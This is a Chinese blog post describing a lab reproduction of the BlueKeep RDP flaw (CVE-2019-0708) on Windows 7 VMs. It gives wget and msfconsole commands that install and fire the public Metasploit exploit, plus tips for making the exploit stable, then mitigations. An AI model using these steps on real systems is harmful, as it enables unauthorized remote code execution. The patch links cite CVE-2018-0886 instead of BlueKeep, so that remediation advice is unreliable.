cve_2019_0708_bluekeep复现采坑

0X01 简介

Microsoft Windows是美国微软公司发布的视窗操作系统。远程桌面连接是微软从Windows 2000 Server开始提供的功能组件。2019年5月14日，微软发布了月度安全更新补丁，修复了远程桌面协议（RDP）远程代码执行漏洞。未经身份验证的攻击者利用该漏洞，向目标 Windows主机发送恶意构造请求，可以在目标系统上执行任意代码。近日，Metasploit发布了该漏洞的利用模块，GitHub网站上也公开了该漏洞的利用代码，引起了安全研究人员的广泛关注。目前该漏洞利用仅对Windows 7 SP1 x64与Windows 2008 R2 x64（非系统默认配置）系统版本有效，在虚拟机环境下复现成功。

0x02 漏洞复现

下载利用脚本，放在对应的目录，进入msf后需reload_all重新加载模块。

wget https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb

wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb

wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

 

rdp.rb -> /usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb

rdp_scanner.rb -> /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb

cve_2019_0708_bluekeep.rb -> /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

cve_2019_0708_bluekeep_rce.rb -> /usr/share/metasploit-framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

 

攻击：

Msfconsole进入metasploit

输入reload_all，重新载入所有的模块。

search cve_2019_0708

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

set rhosts 192.168.88.141

set target 3 （3代表目标机器架构为VMware、2代表目标架构是virtulbox，由于目前该利用脚本未添加目标识别功能，因此需要手动设置目标类型）

exploit 开始攻击

 

 

9月7日使用win7专业版复现失败！

看到有人说virtubox可以复现，于是安装virtubox，安装新的win7系统进行测试，发现还是不行。参考如下链接：

https://github.com/rapid7/metasploit-framework/pull/12283?from=timeline&isappinstalled=0

 

 目前针对该漏洞利用模块还不是很稳定有很多人都是复现失败，只有少数可以复现成功

 

 

 

9月9日复现

将专业版升级到旗舰版

复现成功，反复几次，很稳定。

 

注意事项

1.使用 win7 x64 旗舰版 sp1，目前感觉win7旗舰版是最稳定的

2. windows版本 为 6.1.7601，目前该利用模块只针对该版本有效

3.vmware设置2个内核、2G内存（涉及到内存机制）

0X03 修复建议
目前微软已经发布了漏洞补丁，建议用户立即进行相关升级：
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-0886
https://support.microsoft.com/en-us/help/4093492/credssp-updates-for-cve-2018-0886-march-13-2018

临时解决方案：
1.若用户不需要用到远程桌面服务，建议禁用该服务。
2.开启网络级别身份验证(NLA)
3.关闭TCP端口3389的连接，或对相关服务器做访问来源过滤，只允许可信IP连接。

 

0x04 参考链接

https://github.com/rapid7/metasploit-framework/pull/12283?from=timeline&isappinstalled=0

https://github.com/rapid7/metasploit-framework/pull/12283/files

https://qiita.com/shimizukawasaki/items/024b296a4c9ae7c33961?from=timeline

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708

https://www.cvedetails.com/cve/CVE-2019-0708/

https://github.com/zerosum0x0/CVE-2019-0708

https://github.com/rapid7/metasploit-framework/pull/12283/files#diff-fc2b557755ef2db9d4d58b6aaae7e7a3R116

转载于:https://www.cnblogs.com/micr067/p/11492022.html